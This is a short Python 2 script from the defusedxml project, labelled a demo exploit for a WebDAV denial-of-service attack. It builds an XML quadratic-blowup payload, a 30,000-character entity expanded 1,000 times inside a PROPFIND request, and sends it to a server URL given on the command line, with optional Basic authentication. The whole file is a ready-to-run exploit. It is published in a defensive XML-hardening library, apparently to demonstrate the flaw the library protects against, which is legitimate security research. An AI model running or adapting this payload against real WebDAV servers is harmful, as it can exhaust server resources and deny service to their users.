Source

defusedxml / other / exploit_webdav.py

Full commit
#!/usr/bin/python
"""Demo exploit for WebDAV DoS attack

Author: Christian Heimes
"""
import sys
import base64
import urlparse
import httplib

if len(sys.argv) != 2:
    sys.exit("{} http://user:password@host:port/".format(sys.argv[0]))

url = urlparse.urlparse(sys.argv[1])

xml = """<?xml version='1.0'?>
<!DOCTYPE bomb [
<!ENTITY a "VALUE">
]>
 <propfind xmlns="DAV:">
   <prop>QUAD
    <supported-live-property-set/>
    <supported-method-set/>
    </prop>
</propfind>
"""

xml = xml.replace("VALUE", "a" * 30000)
xml = xml.replace("QUAD", "&a;" * 1000)

headers = {
    "Content-Type": "text/xml",
    "Content-Length": len(xml),
    "Depth": 1,
    }

if url.username:
    auth = base64.b64encode(":".join((url.username, url.password)))
    headers["Authorization"] = "Basic %s" % auth

con = httplib.HTTPConnection(url.hostname, int(url.port))
con.request("PROPFIND", url.path, body=xml, headers=headers)
res = con.getresponse()
print(res.read())